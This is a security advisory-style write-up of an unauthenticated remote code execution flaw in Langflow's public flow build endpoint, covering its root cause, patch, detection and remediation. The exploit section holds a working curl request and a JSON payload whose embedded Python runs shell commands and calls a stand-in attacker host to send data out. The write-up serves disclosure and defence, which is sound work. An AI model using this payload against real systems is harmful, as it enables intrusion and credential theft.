CVE-2026-33017 Unauthenticated RCE in Langflow and the 20 Hour Exploit

Originally published on Egnworks.

Langflow versions before 1.9.0 expose an unauthenticated remote code execution flaw in the public flow build endpoint. An attacker who sends a single crafted POST request can run arbitrary Python on the server. No login is needed and no token is needed. Only a client_id cookie is required. CISA added this vulnerability to the KEV catalog on March 25 2026. Attackers were already exploiting it in the wild within 20 hours of disclosure and they were harvesting API keys from live instances. If you self host Langflow you should upgrade to 1.9.0 right now.

What is Langflow and Why This Matters

Langflow is one of the most popular open source tools for building AI agents and workflows. It has more than 147000 GitHub stars and it shows up across a huge number of enterprise LLM pipelines. That popularity is exactly what made CVE-2026-33017 so dangerous. A single unauthenticated request gives full code execution on a host that very often holds OpenAI keys and database credentials and internal API tokens.

Quick Facts

CVE ID: CVE-2026-33017
Published: March 20 2026
CVSS 3.1: 9.8 Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 4.0: 9.3 Critical
EPSS: 0.984 (99.9th percentile)
CWE: CWE-95 (Eval Injection) and CWE-94 and CWE-306
Affected versions: Langflow before 1.9.0
Authentication required: None
CISA KEV: Added March 25 2026 with federal deadline April 8 2026
Exploitation in wild: Confirmed within 20 hours of disclosure
Fix: Upgrade to Langflow 1.9.0

Root Cause

Langflow lets users build flows. A flow is a graph of nodes and a custom component node can carry its own Python code. To support shareable public flows the application exposes an endpoint that is intentionally unauthenticated.

POST /api/v1/build_public_tmp/{flow_id}/flow

This endpoint is meant to build a stored public flow using flow data that already lives in the database. The bug appears when the optional data parameter is supplied in the request body. In that case the endpoint trusts attacker supplied flow data instead of the stored version. That data contains node definitions and node definitions can contain arbitrary Python. Langflow compiles that Python and hands it to exec with no sandboxing.

This is a textbook eval injection. Untrusted input reaches a code interpreter. Because the endpoint requires no authentication the impact becomes unauthenticated remote code execution. It is worth separating this from the earlier CVE-2025-3248 which fixed a different endpoint by adding authentication. The build_public_tmp endpoint is unauthenticated by design. The real mistake was letting it accept attacker controlled code.

How the Exploit Works

The attack needs only a valid client_id cookie and that value is trivial to obtain. It also needs one POST request. The malicious flow embeds a custom component whose code field carries the payload.

curl -X POST 'https://TARGET/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: client_id=attacker' \
  --data-binary @payload.json

The payload.json file looks like this.

{
  "data": {
    "nodes": [{
      "id": "rce",
      "data": {
        "node": {
          "template": {
            "code": {
              "value": "import os\nclass Exploit:\n  def __init__(self):\n    os.system('id; curl http://attacker/$(hostname)')"
            }
          }
        }
      }
    }],
    "edges": []
  }
}

When Langflow builds the flow it compiles the attacker class and executes it through exec in an unsafely prepared global scope. The injected os.system call then runs with the privileges of the Langflow process. In the real campaign that last step was swapped for reverse shells and credential stealing one liners that read environment variables and dot env files.

Real World Exploitation

This was not hypothetical. The CISA SSVC assessment marked exploitation as active and automatable as yes and technical impact as total. That is the worst possible combination. Security researchers documented attackers compromising Langflow pipelines within 20 hours of public disclosure. The campaign focused on stealing API keys from live internet facing instances. With an EPSS score of 0.984 this vulnerability sat in the 99.9th percentile for exploitation likelihood. In plain terms it was almost certain to be attacked.

Are You Affected

Any Langflow instance before 1.9.0 with the build endpoint reachable is vulnerable. You can check your running version with one command.

pip show langflow | grep -i version

You can also probe whether the endpoint exists without causing any harm. A vulnerable host answers with a client error rather than a not found.

curl -s -o /dev/null -w "%{http_code}\n" -X POST 'https://YOUR-HOST/api/v1/build_public_tmp/test/flow'

After that you should review your access logs for POST requests to the build_public_tmp path that carry a data body. Pay close attention to unexpected source addresses from March 19 2026 onward.

The Patch and Why It Matches the Exploit

The fix shipped in Langflow 1.9.0 under commit 73b6612e3ef25fdae0a752d75b0fabd47328d4f0. It closes the exact gap that the exploit relied on. The public build endpoint no longer trusts attacker supplied flow data. It now builds strictly from the flow that is already stored in the database. With that change there is no attacker controlled path into exec anymore.

The first and most important action is to upgrade to Langflow 1.9.0 or later. This is the only complete fix.

pip install --upgrade "langflow>=1.9.0"

Docker users should pull the patched image instead.

docker pull langflowai/langflow:1.9.0

If you cannot upgrade right away you should block or restrict the build_public_tmp path at your reverse proxy. You should also keep Langflow off the public internet and place it behind authentication and network controls. None of these steps replace the upgrade. They only buy you time.

If your instance was exposed you should assume compromise. Rotate every credential that the Langflow host could reach. That means LLM provider keys and database passwords and cloud tokens and anything that lived in its environment. The active campaign was built to steal exactly these secrets.

Timeline

March 19 2026: Public disclosure and first write ups land. Exploitation begins within hours.
March 20 2026: In the wild attacks confirmed inside a 20 hour window.
March 25 2026: CISA adds CVE-2026-33017 to the KEV catalog.
April 8 2026: Remediation deadline for federal agencies.

Lessons

The deeper lesson here is simple. Public should never mean that the request body can be trusted. An endpoint can be intentionally unauthenticated and still be perfectly safe as long as it only acts on server side state and never on attacker supplied code. The moment user input can reach exec the authentication status becomes the only thing standing between a feature and a full system compromise. In this case nothing was standing there at all.

References

Langflow Security Advisory GHSA-vwmf-pq79-vjvx
NVD Entry for CVE-2026-33017
CISA Known Exploited Vulnerabilities Catalog
Sysdig: How Attackers Compromised Langflow AI Pipelines in 20 Hours
Fix Commit 73b6612 on GitHub
Original Researcher Write Up: How I Found CVE-2026-33017